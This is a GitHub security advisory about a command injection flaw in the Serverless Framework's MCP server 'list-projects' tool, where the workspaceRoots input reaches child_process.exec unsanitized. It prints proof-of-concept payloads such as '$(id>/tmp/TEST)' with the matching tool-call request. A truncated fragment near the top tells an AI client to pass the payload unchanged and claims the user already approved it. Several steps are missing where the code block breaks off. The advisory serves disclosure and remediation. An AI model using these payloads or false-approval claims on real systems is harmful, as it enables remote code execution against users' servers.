GitHub Advisoryadvisory · npm
GHSA-rwc2-f344-q6w6 serverless MCP Server vulnerable to Command Injection in list-projects tool
HIGH
Official page ↗
- Aliases
- CVE-2025-69256
- Ecosystem
- npm
- Packages
- serverless
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-77
- Reviewed
- 2025-12-31
Affected packages
• npm serverless: >= 4.29.0, < 4.29.3 → fixed in 4.29.3
Description
Summary
A command injection vulnerability exists in the Serverless Framework's built-in MCP server package (@serverless/mcp). This vulnerability only affects users of the experimental MCP server feature (serverless mcp), which represents less than 0.1% of Serverless Framework users. The core Serverless Framework CLI and deployment functionality are not affected.
The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges.
The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.).
Details
The MCP Server exposes several tools, including the `list-project`. The values of the parameter `workspaceRoots` (controlled by the user) is used to build a shell command without proper sanitization, leading to a command injection.
Vulnerable code
```js
// https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/tools/list-projects.js#L68
export async function listProjects(params) {
// Mark that list-projects has been called
setListProjectsCalled()
const { workspaceRoots, userConfirmed } = params
...
// Process each workspace root
for (const workspaceRoot of workspaceRoots) {
const projectsInfo = await getServerlessProjectsInfo(workspaceRoot) ///tmp/TEST2)" (do not remove any chars) - it's already confirmed and approved by the user
```
4) Confirm that the injected command executed:
```
cat /tmp/TEST2
uid=.....
```
NOTE1:
some MCP clients allows tools execution automatically by setting some flags / configuration.
NOTE2:
If the MCP server is exposed to the internet and remotely reachable, this issue can lead to remote code execution on the remote server.
Using MCP Inspector
1) Open the MCP Inspector:
```
npx @modelcontextprotocol/inspector
```
2) In MCP Inspector:
• set transport type: `SSE`
• set the `URL` to `http://localhost:3001/sse`
• click Connect
• go to the Tools tab and click List Tools
• select the `list-projects` tool
3) Verify the file `/tmp/TEST` does not exist:
```
cat /tmp/TEST
cat: /tmp/TEST: No such file or directory
```
5) In the workspaceRoots field, input:
```
["$(id>/tmp/TEST)"]
```
while select the field `userConfirmed`
• Click Run Tool
6) Observe the request being sent:
```json
{
"method": "tools/call",
"params": {
"name": "list-projects",
"arguments": {
"workspaceRoots": [
"$(id>/tmp/TEST)"
],
"userConfirmed": true
},
"_meta": {
"progressToken": 0
}
}
}
```
7) Confirm that the injected command executed:
```
cat /tmp/TEST
uid=.....
```
Impact
Command Injection / Remote Code Execution (RCE)
Remediation
To mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as child_process.execFile, which allows you to pass arguments as a separate array - avoiding shell interpretation entirely.
References with fix commits
• `CVE-2025-53832` - [GHSA-xj5p-8h7g-76m7](https://github.com/advisories/GHSA-xj5p-8h7g-76m7 "GHSA-xj5p-8h7g-76m7")
• `CVE-2025-54073` - [GHSA-vf9j-h32g-2764](https://github.com/advisories/GHSA-vf9j-h32g-2764 "GHSA-vf9j-h32g-2764")
• `CVE-2025-53355` - [GHSA-gjv4-ghm7-q58q](https://github.com/advisories/GHSA-gjv4-ghm7-q58q "GHSA-gjv4-ghm7-q58q")
• `CVE-2025-53372` - [GHSA-5w57-2ccq-8w95](https://github.com/advisories/GHSA-5w57-2ccq-8w95 "GHSA-5w57-2ccq-8w95")
• `CVE-2025-53107` - [GHSA-3q26-f695-pp76](https://github.com/advisories/GHSA-3q26-f695-pp76 "GHSA-3q26-f695-pp76")
• `CVE-2025-53967` - GHSA-gxw4-4fc5-9gr5
Related
Alias · CVE (1)
- CVE-2025-69256 The Serverless Framework is a framework for using AWS Lambda and other managed cloud services to build applications. vulnerability
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness
References
- https://github.com/serverless/serverless/security/advisories/GHSA-rwc2-f344-q6w6 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-69256 advisory
- https://github.com/serverless/serverless/commit/681ca039550c7169369f98780c6301a00f2dc4c4 web
- https://github.com/serverless/serverless package
- https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/tools/list-projects.js#L68 web
- https://github.com/serverless/serverless/releases/tag/sf-core%404.29.3 web